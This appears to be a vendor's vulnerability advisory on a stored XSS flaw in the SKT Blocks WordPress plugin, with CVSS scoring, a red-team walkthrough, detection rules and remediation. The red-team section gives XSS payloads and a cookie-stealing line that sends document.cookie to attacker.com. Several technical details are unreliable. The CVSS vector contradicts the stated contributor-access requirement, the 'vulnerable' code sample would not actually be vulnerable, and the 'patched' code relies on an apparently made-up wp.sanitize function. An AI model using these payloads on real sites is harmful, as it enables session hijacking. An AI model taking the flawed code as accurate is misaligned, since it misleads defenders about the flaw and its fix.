CVE-2024-48036

Executive Summary

CVE-2024-48036 is a Stored Cross-Site Scripting (XSS) vulnerability in the SKT Blocks WordPress plugin, developed by Sktthemes. The flaw exists in versions up to and including 1.6, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level access or higher can inject arbitrary JavaScript into block content, which executes when other users (including administrators) view the affected page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, not a server misconfiguration.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The SKT Blocks plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files by comparing checksums against the official repository. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must visit a page with malicious block)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is elevated due to the lack of a patch and the widespread use of WordPress. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability resides in the SKT Blocks plugin's handling of user-generated block content. WordPress blocks are rendered via JavaScript, and the plugin fails to sanitize or escape user input before inserting it into the DOM. Specifically, attributes such as className, style, or custom data fields are not properly filtered. An attacker can craft a block with embedded JavaScript, such as:

<img src=x onerror=alert('XSS')>

When the block is rendered on a page, the script executes in the context of the victim's browser. The attack is stored in the database, meaning it persists until the malicious block is removed or the plugin is patched.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.6): The plugin likely uses dangerouslySetInnerHTML or similar React/WordPress block API methods without sanitization. Example vulnerable pattern:

// Vulnerable: directly inserting user input
el('div', { className: attributes.className }, attributes.content);

Patched Code (hypothetical): A patch would sanitize input using wp.sanitize or DOMPurify:

// Patched: sanitize input
const sanitizedContent = wp.sanitize(attributes.content);
el('div', { className: attributes.className }, sanitizedContent);

Since no official patch is available, users must manually apply input validation or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with SKT Blocks plugin <= 1.6
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add an SKT Blocks block (e.g., a custom HTML block).
4. Inject malicious payload in a block attribute, such as:

   <script>alert('XSS')</script>
   

5. Publish the post.
6. When an admin or other user views the post, the script executes.

Advanced Payload:

// Steal cookies
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;

Blue Team

Detection:

• Monitor for unusual block content in posts/pages.
• Use web application firewalls (WAF) to block XSS patterns.
• Review user roles and limit contributor access.

Hunting:

• Search database for <script> tags in wp_posts.post_content.
• Look for base64-encoded payloads in block attributes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/skt-blocks/ (entire plugin directory)
• Database: Rows in wp_posts containing <script> or onerror in post_content
• Network: Outbound requests to unknown domains from WordPress admin pages
• Logs: PHP error logs showing wp_kses failures or unescaped output

Detection Engineering

YARA Rule

rule skt_blocks_xss_cve_2024_48036 {
    meta:
        description = "Detects SKT Blocks plugin files with XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48036"
    strings:
        $dangerous = "dangerouslySetInnerHTML" nocase
        $unsafe = "innerHTML" nocase
        $block_attr = "className" nocase
    condition:
        $dangerous or ($unsafe and $block_attr)
}

Sigma Rule

title: SKT Blocks XSS Activity
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS via SKT Blocks plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: '*action=skt_blocks*'
    condition: selection
falsepositives:
    - Legitimate block updates
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48036 SKT Blocks XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=skt_blocks"; http_client_body; pcre:"/<script|<img\s+src|onerror|onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the SKT Blocks plugin until a patch is released.
2. Remove any suspicious blocks from posts/pages.
3. Review user accounts and revoke contributor access if not needed.

Long-term:

• Monitor the plugin repository for updates.
• Implement Content Security Policy (CSP) headers to mitigate XSS.
• Use a WordPress security plugin with XSS protection.

Workaround:

• Manually sanitize block output by adding a filter in functions.php:

  add_filter('render_block', function($block_content, $block) {
      if ($block['blockName'] === 'skt-blocks/block') {
          $block_content = wp_kses_post($block_content);
      }
      return $block_content;
  }, 10, 2);
  

Valters IT
Securing Digital Frontiers